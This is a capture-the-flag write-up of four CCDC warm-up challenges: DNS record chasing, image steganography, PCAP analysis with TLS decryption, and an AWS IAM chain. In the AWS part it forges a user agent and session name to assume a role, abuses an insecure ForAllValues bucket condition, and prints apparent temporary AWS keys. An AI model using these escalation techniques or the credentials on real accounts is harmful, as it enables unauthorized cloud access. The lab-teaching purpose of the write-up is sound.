Warning Spoilers!

Challenges

This writeup goes over the challenges created by the Black Team leading up to the 2024 Northeastern CCDC Competition.

There were a total of 4 challenges:

I also go into our thought process when making the challenges.

DNS

Finding the first layer is quite simple the TXT record of rust.energy it can simply be found by running the dig command.

dig +short rust.energy TXT
# "9720ce90.rust.energy"

Following the domains we eventually get to the.real.flag.9720ce90.rust.energy

There is a TXT record for the domain which is the first flag FLAG{kubernetes:1.28:kubeadm}

There are other paths some of which container easter eggs and secrets 🤫. The following diagram shows all the paths

Picture of all the dns paths

Finding the second flag is where it gets harder.

The record score.9720ce90.rust.energy has a record that points to another level

dig +short score.9720ce90.rust.energy SRV
# 0 6 10 d5ea8518.rust.energy.

dig +short d5ea8518.rust.energy ANY
# "web.d5ea8518.rust.energy"
# "txt.d5ea8518.rust.energy"

The second layer (0 is the first layer) does not have any the.real.flag.X.rust.energy or flags but the third layers domain can be found.

dig +short score.d5ea8518.rust.energy SRV
# 1 6 10 d19d6d0f.rust.energy.

dig +short score.d19d6d0f.rust.energy SRV
# 2 6 10 0e56b918.rust.energy.

dig +short score.0e56b918.rust.energy SRV
# 3 6 10 2a488eca.rust.energy.

dig +short score.2a488eca.rust.energy SRV
# 4 6 10 a63a0c9a.rust.energy.

dig +short score.a63a0c9a.rust.energy SRV
# 5 6 10 d0b518b4.rust.energy.

dig +short score.d0b518b4.rust.energy SRV
# 6 6 10 d98628ea.rust.energy.

dig +short score.d98628ea.rust.energy SRV
# 7 6 10 f1163f0d.rust.energy

When layer 6 (7th total layer) has been reached the service record shows 6 6 10 if you kept going you would eventually stop at layer 10 with it just returning 10 6 10 10..

Looking through layer 6 everything is the same except the flag.X.rust.energy returns a different answer.

dig +short flag.d0b518b4.rust.energy ANY
# "FLAG{containerd:nerdctl}"

The easier way than breaking my evil code is brute forcing every record and then searching for the flag pattern FLAG(*).

Steganography

This challenge was created by Andrew Iadevaia the 2024 black team lead.

Challenge was found at ctf.rust.energy with the intro sent out on the NECCDL Twitter and by email. The information from the snippet reveals that we have to investigate the image for hidden information and there are four flags.

Opening the image from the webpage its the logo of “Rust Energy” lets download it.

wget http://ctf.rust.energy/rust.png

Flag 1

Lets start by looking for any strings containing the flag

strings rust.png | grep FLAG
# h.boxes, self#jumbf=c2pa/urn:uuid:873c7a4e-1aa0-4011-9e74-725a9f144a65/c2pa.assertions/actionsFLAG{Role:RSAT-DNS-Server:Role:FS-FileServer}=c2pa/urn:uuid:873c7a4e-1aa0-4011-9e74-725a9f144a65/c2pa.assertions</stEvt:instanceID>

There we go FLAG{Role:RSAT-DNS-Server:Role:FS-FileServer}

We can also find it when looking through the images metadata with a tool such as exiftool.

exiftool rust.png
# ExifTool Version Number         : 12.70
# File Name                       : rust.png
# File Size                       : 2.6 MB
# File Permissions                : -rw-r--r--
# File Type                       : PNG
# File Type Extension             : png
# MIME Type                       : image/png
# Image Width                     : 1024
# Image Height                    : 1024
# Bit Depth                       : 8
# Color Type                      : RGB
# Compression                     : Deflate/Inflate
# Filter                          : Adaptive
# Interlace                       : Noninterlaced
# Pixels Per Unit X               : 3780
# Pixels Per Unit Y               : 3780
# Pixel Units                     : meters
# XMP Toolkit                     : Image::ExifTool 12.65
# History Instance ID             : self#jumbf=c2pa/urn:uuid:873c7a4e-1aa0-4011-9e74-725a9f144a65/c2pa.assertions/c2pa.has.h.boxes, self#jumbf=c2pa/urn:uuid:873c7a4e-1aa0-4011-9e74-725a9f144a65/c2pa.assertions/actionsFLAG{Role:RSAT-DNS-Server:Role:FS-FileServer}=c2pa/urn:uuid:873c7a4e-1aa0-4011-9e74-725a9f144a65/c2pa.assertions
# Warning                         : [minor] Trailer data after PNG IEND chunk
# Image Size                      : 1024x1024
# Megapixels                      : 1.0

Flag 2

Looking at the file size and the image we have theres something off. Also in the exiftool dump there is a warning.

[minor] Trailer data after PNG IEND chunk

Looking into PNG IEND chunks led me to this document which led me to a PNG file signature document.

The first eight bytes of a PNG file always contain the following values:
   (decimal)              137  80  78  71  13  10  26  10
   (hexadecimal)           89  50  4e  47  0d  0a  1a  0a
   (ASCII C notation)    \211   P   N   G  \r  \n \032 \n

We should expect one header with those bytes. Running the tool xxd we can create a hexdump of the image.

xxd rust.png > rust.png.hex

Opening the file in an editor we see that its in the format: offset, hex, raw.

Lets search for the first eight bytes in hex

cat rust.png.hex | grep '8950 4e47 0d0a 1a0a'
00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452  .PNG........IHDR
0011f340: 3d0a 8950 4e47 0d0a 1a0a 0000 000d 4948  =..PNG........IH

Strange that it returns two, we expect only one. We’ll look into that later.

Opening the file rust.png.hex and search for the IEND this should be what ends the png file. Two IEND (Image END) are returned The representation in hex is 0000 0000 4945 4e44 ae42 6082 are the full IEND bytes for the image.

The file ends on offset 000f9270 and then the second PNG header starts at 0011f340

Line before the end of the PNG: 000f9260 Line after the start of the next PNG: 0011f350

xxd -s 0x000f9260 -l $((0x0011f350-0x000f9260+1)) rust.png > stripped.hex

xxd --plain -s 0x000f9260 -l $((0x0011f350-0x000f9260+1)) rust.png > stripped.plain.hex

Open the stripped.plain.hex and remove any header bytes 8950 4e47 0d0a 1a0a

Remove the bytes 1bca47f2e20f0c70fcff0db083c38bc7e28f0000000049454e44ae426082 from the start and 89504e470d0a1a0a0000000d494844 from the end.

xxd -r -p stripped.plain.hex > unstripped.bin

file unstripped.bin
# unstripped.bin: ASCII text

When looking through the file it seems mostly random but a giveaway of what it is the last character = some padding? Lets run the file through base64…

base64 -d < unstripped.bin > unstripped.b64.raw

file unstripped.b64.raw
# unstripped.b64.raw: JPEG image data, progressive, precision 8, 3000x2400, components 3

mv unstripped.b64.raw unstripped.jpg

Lets open the file up

Alt text

Flag 3

This is a simple one

strings unstripped.jpg | grep FLAG
# FLAG{cross-forest trust}

Flag 4

Using what we know about the start of the second png in the first. offset 0011f340

xxd --plain -s 0x0011f340 rust.png > flag4.plain.hex

Open the file and remove everything before 89504e470d0a1a0a (PNG magic bytes) (End up being just 3d0a)

xxd -p -r flag4.plain.hex > flag4.bin

file flag4.bin
# flag4.bin: PNG image data, 1024 x 1024, 8-bit/color RGBA, non-interlaced

mv flag4.bin flag4.png

Opening the file we get a png of the 2024 NECCDL competition logo.

Lets look at the file in hex again

xxd flag4.png > flag4.hex

Looking through the hex dump of the file the end (offset 00152f90) has some strange patterns

00152f90: 0603 8381 c1c0 6060 3030 1818 0c0c 0606  ......``00......
00152fa0: 0383 81c1 c060 6030 3018 180c 0c06 0603  .....``00.......
00152fb0: 8381 c1c0 6060 3030 1818 0c0c 0606 0383  ....``00........
00152fc0: 81c1 c060 6030 3018 180c 0c06 0603 8381  ...``00.........
00152fd0: c1c0 6060 3030 1818 0c0c 0606 0383 81c1  ..``00..........
00152fe0: c060 6030 3018 180c 0c06 0603 8381 c1c0  .``00...........
00152ff0: 6060 3030 1818 0c0c 0606 0383 81c1 c060  ``00...........`
00153000: 6030 3018 180c 0c06 0603 8381 c1c0 6060  `00...........``
00153010: 3030 1818 0c0c 0606 0383 81c1 c060 6030  00...........``0
00153020: 3018 180c 0c06 0603 8381 c1c0 6060 3030  0...........``00
00153030: 1818 0c0c 0606 0383 81c1 c060 6030 3018  ...........``00.
00153040: 180c 0c06 0603 8381 c1c0 6060 3030 1818  ..........``00..
00153050: 0c0c 0606 0383 81c1 c060 6030 3018 180c  .........``00...
00153060: 0c06 0603 8381 c1c0 6060 3030 1818 0c0c  ........``00....
00153070: 0606 0383 81c1 c060 6030 3018 180c 0c06  .......``00.....
00153080: 0603 8381 c1c0 6060 3030 1818 0c0c 0606  ......``00......
00153090: 0383 81c1 c060 6030 3018 180c 0c06 0603  .....``00.......
001530a0: 8381 c1c0 6060 3030 1818 0c0c 0606 0383  ....``00........
001530b0: 81c1 c060 6030 3018 180c 0c06 0603 8381  ...``00.........

Seems like some LSB stuff going on.

Running the image through an online tool (just found this, pretty cool) https://www.aperisolve.com/

Alt text

Thats the last flag!

FLAG{WinRM:CredSSP}

PCAP

This was another one of my ideas, sorry

The PCAP of the challenge can be found on the S3 website here. The challenge has three hidden flags

Flag 1

The first flag can be found in a request made to http://ctf.rust.energy/2/0242ac120002/login.html

When visiting the site in your browser its a login form with a image http://ctf.rust.energy/2/0242ac120002/logo.jpg which says FLAG{FOOBAR} in the format of a flag but not a flag duh.

In you follow the HTTP stream of the request to ctf.rust.energy you can view the header of it pulling the request to pull the logo.jpg

HTTP/1.1 200 OK
x-amz-id-2: M6glIRq6MQkr9rGyRffgvkfFTRFHTFPeuMEB5xUdmp4JtDz7sg5FF2qHW3Svxv77LkgFguktayQ=
x-amz-request-id: QR3Z4Q11CGNBY2Q6
Date: Wed, 03 Jan 2024 15:58:27 GMT
Last-Modified: Wed, 03 Jan 2024 14:58:50 GMT
ETag: "55894795f8a73bb5efae4f9da2df9c51"
Content-Type: image/jpeg
Server: AmazonS3
Content-Length: 19905

Below it is a bunch of gibberish if your looking it as ASCII. Switch the view to RAW, we know its a file so we can look up the files magic number. It starts in ff d8 ff e0, JPEG.

I found this tool online that can convert hex to an images: https://gist.github.com/leommoore/f9e57ba2aa4bf197ebc5

The image shows the flag FLAG{IdM:ipa:selfservice-mod}

Flag 2

The next flag is a little harder. If you noticed in the PCAP there is FTP data, the user logs into a server and downloads a file called foo.txt

Filter for the transfer with the ftp-data search parameter. Looking at the data in ASCII its just a private key.

-----BEGIN PRIVATE KEY-----
MIIE...................................0hE=
-----END PRIVATE KEY-----

Same the file somewhere on your machine, in my case ~/Downloads/key.pem. In Wireshark we can decrypt TLS packets if the key was used to encrypt them (TLS 1.2 and lower)

First we need to know what traffic is being sent over TLS in the PCAP, filter by tls.

When looking at the sources there are four options:

  • 172.22.0.3
  • 35.183.229.204
  • 185.27.134.55
  • 172.22.0.2

When looking through the DNS queries we see which servers they relate to

  • rust.energy -> 185.27.134.55
  • neccdl.org -> 35.183.229.204
  • The machine recording the packages -> 172.22.0.3

Filtering by ip.addr == 172.22.0.2 we can see some unencrypted traffic and TLS traffic.

Go to Wireshark Preferences -> Protocols -> TLS -> RSA keys list -> Edit -> Add a new entry

IP address Port Protocol Key File Password
172.22.0.2 443 http ~/Downloads/key.pem * leave blank*

Now when following the TLS stream (tcp.stream eq 92) we see there is HTTP protocols that show up.

Looking in the unencrypted body we find the second flag: FLAG{hashicorp:vault:1.15.1}

Flag 3

To find this flag you need to have been observant of what traffic is happening throughout the PCAP.

There are several DNS queries for XX.rust.energy.

If the first to characters are converted from hex to ascii. The first packet is 46.rust.energy, hex 46 in ascii is F. Online tool

Repeating those steps for the next few packets we get the flag, but that takes a long time so I wrote a online bash command.

tshark -r challenge.pcap -Y "dns" | grep "No such name TXT" | awk '{print $NF}' | cut -c 1-2 | xxd -r -p
# FLAG{semaphore/project/{project_id}/keys}

Bam got the flag, easy

AWS

Another one out of the warehouse of my mind

We start with the URL http://web.rust.energy/ it shows beautiful website made my yours truly and mostly ChatGPT. You think I’m a web developer, I write this in markdown and then use hugo to make it look nice.

There is a hidden directory that is served by the S3 web server buts its easier to find since the bucket is public listable.

From an authenticated AWS CLI session.

aws s3 ls --no-sign-request s3://web.rust.energy
#                            PRE .aws/
# 2024-01-11 15:34:10        638 error.html
# 2024-01-11 15:34:10       1978 index.html
# 2024-01-11 11:24:39    1332900 skelington.jpg
# 2024-01-11 11:24:38        735 styles.css

aws s3 ls --no-sign-request s3://web.rust.energy/.aws/
# 2024-01-11 12:02:56        116 credentials

aws s3 cp --no-sign-request s3://web.rust.energy/.aws/credentials .
# download: s3://web.rust.energy/.aws/credentials to ./credentials

cat credentials
# [default]
# aws_access_key_id = AKIA....
# aws_secret_access_key = ..................
# aws_session_token = "Intentional game design"

Adding the flag --no-sign-request bypasses the check if we have a valid AWS session. (example)

Alternatively you could find the .aws/credentials directory through a brute force of all endpoints (gobuster)

Save the credentials to your local machine in a file ~/.aws/credentials rename default to something more useful ccdc-challenge.

Now we can start to enumerate IAM permissions

export AWS_PROFILE=ccdc-challenge
aws sts get-caller-identity
# {
#     "UserId": "AIDA3N23EV2TM7Z4WLIDW",
#     "Account": "785633291942",
#     "Arn": "arn:aws:iam::785633291942:user/challenge/jdoe"
# }

aws iam list-attached-user-policies --user-name jdoe
# No Perms

aws iam list-user-policies --user-name jdoe
# read_iam

aws iam get-user-policy --user-name jdoe --policy-name read_iam

aws iam list-group-policies --group-name developers
# {
#     "PolicyNames": [
#         "assume_developer_role"
#     ]
# }

aws iam get-group-policy --group-name developers --policy-name assume_developer_role
# "Statement": [
#   {
#     "Action": "sts:AssumeRole",
#     "Effect": "Allow",
#     "Resource": "arn:aws:iam::785633291942:role/challenge/developerAccessRole"
#   }
# ]

The user has the permissions to assume the role developerAccessRole from the group it is in. Lets look at what permissions the role has access to.

aws iam list-role-policies --role-name developerAccessRole

aws iam get-role-policy --role-name developerAccessRole --policy-name access-secrets
# "Statement": [
#     {
#         "Action": [
#             "secretsmanager:GetResourcePolicy",
#             "secretsmanager:UntagResource",
#             "secretsmanager:GetSecretValue",
#             "secretsmanager:DescribeSecret",
#             "secretsmanager:ListSecretVersionIds",
#             "secretsmanager:TagResource"
#         ],
#         "Effect": "Allow",
#         "Resource": "arn:aws:secretsmanager:us-east-2:785633291942:secret:challenge/*",
#         "Sid": "VisualEditor0"
#     },
#     {
#         "Action": "secretsmanager:ListSecrets",
#         "Effect": "Allow",
#         "Resource": "*",
#         "Sid": "VisualEditor1"
#     }
# ]

The role is able to list secrets and retrieve secrets on the path challenge/*. Lets now assume the credentials

aws sts assume-role --role-arn arn:aws:iam::785633291942:role/challenge/developerAccessRole --role-session-name dev-role

In a new shell export the credentials

export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=.......
export AWS_SESSION_TOKEN=...................

Flag 1

aws secretsmanager list-secrets --region us-east-2
# "ARN": "arn:aws:secretsmanager:us-east-2:785633291942:secret:challenge/credentials-Eg8L6m"
# "Name": "challenge/credentials"
# "SecretVersionsToStages": {
#   "05BCF1E3-E1F2-4C2A-B21E-D5410DFF3CA6": [
#     "AWSPREVIOUS"
#   ],
#   "8C8D12BD-956D-44D2-8D71-7E17B462AB72": [
#     "AWSCURRENT"
#   ]
# }

aws secretsmanager get-secret-value --region us-east-2 --secret-id challenge/credentials
# "SecretString": "{\"data\":\"FLAG{}\"}"

Hmmm, no flag

Looking back at the output of the list-secrets command it shows two version

aws secretsmanager get-secret-value --region us-east-2 --secret-id challenge/credentials --version-stage AWSPREVIOUS
# "SecretString": "{\"data\":\"FLAG{wazuh-agent_4.7.1-1}\"}"

Flag 2

This one is a little harder…

Before we found the inline policy access-secrets on the role developerAccessRole which gave access to view secrets.

Looking at the attached managed policies.

aws iam get-role --role-name developerAccessRole

aws iam list-attached-role-policies --role-name developerAccessRole
# {
#     "AttachedPolicies": [
#         {
#             "PolicyName": "assume_role_policy",
#             "PolicyArn": "arn:aws:iam::785633291942:policy/challenge/assume_role_policy"
#         }
#     ]
# }

Lets look what permissions that policy grants

aws iam get-policy --policy-arn arn:aws:iam::785633291942:policy/challenge/assume_role_policy

aws iam get-policy-version --version-id v1 --policy-arn arn:aws:iam::785633291942:policy/challenge/assume_role_policy
# {
#   "Action": "sts:AssumeRole",
#   "Effect": "Allow",
#   "Resource": "arn:aws:iam::785633291942:role/challenge/object_manager"
# }

Nice its another role to assume. Lets look at what the role object_manager lets us do.

aws iam list-attached-role-policies --role-name object_manager
# None []

aws iam list-role-policies --role-name object_manager
# access-s3

aws iam get-role-policy --role-name object_manager --policy-name access-s3
# {
#     "RoleName": "object_manager",
#     "PolicyName": "access-s3",
#     "PolicyDocument": {
#         "Version": "2012-10-17",
#         "Statement": [
#             {
#                 "Action": [
#                     "s3:GetObjectAcl",
#                     "s3:GetObjectAttributes",
#                     "s3:GetObjectTagging",
#                     "s3:ListBucket",
#                     "s3:GetBucketAcl",
#                     "s3:GetBucketPolicy",
#                     "s3:GetObjectVersion"
#                 ],
#                 "Effect": "Allow",
#                 "Resource": "arn:aws:s3:::challenge-object-store",
#                 "Sid": "VisualEditor0"
#             }
#         ]
#     }
# }

It allows us to view the objects in a S3 bucket challenge-object-store. Lets now assume the role.

aws sts assume-role --role-arn arn:aws:iam::785633291942:role/challenge/object_manager --role-session-name obj-mgmt-role
# An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::785633291942:assumed-role/challenge/developerAccessRole/dev-role is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::785633291942:role/challenge/object_manager

Hmmm why? Lets look at the Trust Policy on the role to see what is allowed to assume it.

aws iam get-role --role-name object_manager
# "AssumeRolePolicyDocument": {
#     "Version": "2012-10-17",
#     "Statement": [
#         {
#             "Sid": "",
#             "Effect": "Allow",
#             "Principal": {
#                 "AWS": "arn:aws:iam::785633291942:role/challenge/developerAccessRole"
#             },
#             "Action": "sts:AssumeRole",
#             "Condition": {
#                 "StringEquals": {
#                     "aws:UserAgent": "AWS-SDK",
#                     "sts:RoleSessionName": "DeveloperGrantedAccess"
#                 }
#             }
#         }
#     ]
# }

We need some way to set the user agent to be AWS-SDK and have the session name set to DeveloperGrantedAccess.

Unluckily for use we cannot set a user agent with the AWS CLI, so were going to need something else.

This can be done through an app like Insomnia or a Boto3 Python script to make https requests to AWS.

Alt text

The curl tool supports AWS authentication.

The URL contains the session name DeveloperGrantedAccess and specifies the role were trying to get credentials for.

curl "https://sts.amazonaws.com/?Action=AssumeRole&RoleSessionName=DeveloperGrantedAccess&RoleArn=arn:aws:iam::785633291942:role/challenge/object_manager&DurationSeconds=3600&Version=2011-06-15" \
  --user "$AWS_ACCESS_KEY_ID": "$AWS_SECRET_ACCESS_KEY" \
  --header "x-amz-security-token: $AWS_SESSION_TOKEN" \
  --user-agent "AWS-SDK" \
  --aws-sigv4 "aws:amz:us-east-1:sts"

The following python script could also work to assume the object_manager role.

import requests
import boto3
from botocore.awsrequest import AWSRequest
from botocore.auth import SigV4Auth

request = AWSRequest(
  method="GET",
  url="https://sts.amazonaws.com/?Action=AssumeRole&RoleSessionName=DeveloperGrantedAccess&RoleArn=arn%3Aaws%3Aiam%3A%3A785633291942%3Arole%2Fchallenge%2Fobject_manager&DurationSeconds=3600&Version=2011-06-15",
  headers={
    'Host': 'sts.amazonaws.com',
    'User-Agent': 'AWS-SDK' 
  })

session = boto3.session.Session(
  aws_access_key_id = 'ASIA3N23EV2TLAZSGN44',
  aws_secret_access_key = '+PuLX6e5xOHAONvbJsaXMLS/cbuuXqGn0GzKhkzD',
  aws_session_token = 'FwoGZXIvYXdzEJ3//////////wEaDEXsgKBjjY8Eti0olyK6AeIk+3wcTAte9uGMthiXxgC1jzQLZR0QXN0fcz4nKqPXvJZWP1o4KYdAbOrbe1xgkqVtOZnvZAf0GFZ8r0TeLvyMB96DPKM084MsvBryb2VgaJ/ibo1JvXO7IaiIy3yVrnNk4GhsU2Zk810o6+qcRXHku4kB28g+4fjZVuHd2C5fOuWgBwwisO6mB6lwWPm8uQWlMxVcOXZ/Rq9B6fFN31o/OD6m2gwIrKCwde1IYSWaWOovtEnKyhynjCiLi4GtBjIt+R+vcgjIOjyofcgE21o6WaPESQp+EzXF0AZCre8oXaI8edkPkfFx+gx/kLte'
)
credentials = session.get_credentials()
botocore_creds = credentials.get_frozen_credentials()

SigV4Auth(
    credentials=botocore_creds,
    service_name="sts",
    region_name="us-east-1",
).add_auth(request)

signed_headers = request.headers

print(request.headers)

response = requests.request(
    method=request.method,
    url=request.url,
    headers=dict(request.headers)
)

print(response.text)

From the XML output get the credentials

export AWS_ACCESS_KEY_ID=ASIA3N23EV2TDNNM77G5
export AWS_SECRET_ACCESS_KEY=LRjTSEco0oQv+wfNro4mSUxMpLSBuAqbp4fo26r7
export AWS_SESSION_TOKEN=FwoGZXIvYXdzEJ3//////////wEaDGHjSzvjJ1KjdzdpuCK6ARIgzo5UsvPsHkwpxVS5E1z3Uh5czOSrPK2ddwU9hT6xEqHXIv9FI8cOyvpmOmv5SOxmDDQuazWSxSqTBL7d6ULXoQhCE/i2u9m4YlmO5rYz+ErT8JeBPfkt1940cs0sA/sqXgSiJsP/HVlzYO4AopSQYH+BNMvvL6SkGEKRQUdxciihuTB9iaZ1FF+/WoZOP/ZHeUEnZrl+fAmqBgEIIXTS+9vGFyJMbBdagufpFSnQ8cewYh3cVVoVcyjWkYGtBjItrxD9xR6Uo2zY/sKguLxMp3oLHpN3JqGu3vesiSYMP0JZ22Z1B4x2dQQmI6fz

aws s3 ls challenge-object-store
# PRE files/
aws s3 ls challenge-object-store/files/
# 2024-01-11 15:03:17          6 FLAG

aws s3 cp s3://challenge-object-store/files/FLAG .
# fatal error: An error occurred (403) when calling the HeadObject operation: Forbidden

Thats because we don’t have permissions to get the object right?…

aws s3api get-bucket-policy --bucket challenge-object-store
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:GetObject",
            "Resource": "arn:aws:s3:::challenge-object-store/*",
            "Condition": {
                "ForAllValues:StringLike": {
                    "aws:PrincipalArn": "arn:aws:iam::785633291942:user/admin"
                }
            }
        }
    ]
}

Looking at the bucket policy it allows use to assume the role if were the admin user.

The use of ForAllValues is insecure here.

AWS recommends that you use the ForAllValues only with multivalued conditions. The ForAllValues set operator tests whether the value of every member of the request set is a subset of the condition key set. The condition returns true if every key value in the request matches at least one value in the policy. It also returns true if there are no keys in the request, or if the key values resolve to a null data set, such as an empty string.

So if it does not have a valid key aws:PrincipalArn it will resolve tru

If we add --no-sign-request to the AWS request.

A Boolean switch that disables signing the HTTP requests to the AWS service endpoint. This prevents credentials from being loaded.

aws s3 cp s3://challenge-object-store/files/FLAG . --no-sign-request
# download: s3://challenge-object-store/files/FLAG to ./FLAG

cat FLAG
# FLAG{OpenSSH_for_Windows_7.7p1-LibreSSL:2.6.5}

Creation

This section is going to go over some of the methodologies and tools used to create the scenarios. This year black team decided to create some challenges/CTFs to leak some of the material in the qualifiers environment early since we introduced some “new” technology (K8s, Identity, Vault).

I was thinking of making a challenges based around Kubernetes but I through that would be to cruel.

DNS

Started out as a simple dns setup, then I went crazy and made whatever this was. Of the four this is my least favorite, does not feel completed / multi-staged. This was also our first and we were not sure if we could continue to do them.

PCAP

Built in a docker container to prevent local traffic from getting caught up in the capture.

AWS

All deployed through Infrastructure as Code to allow easy creation and removal.

For the second part build it around a challenge I saw in when playing through the Big IAM Challenge. I have a writeup here AWS IAM CTF.

I have a good amount of background with AWS and creating/playing challenges.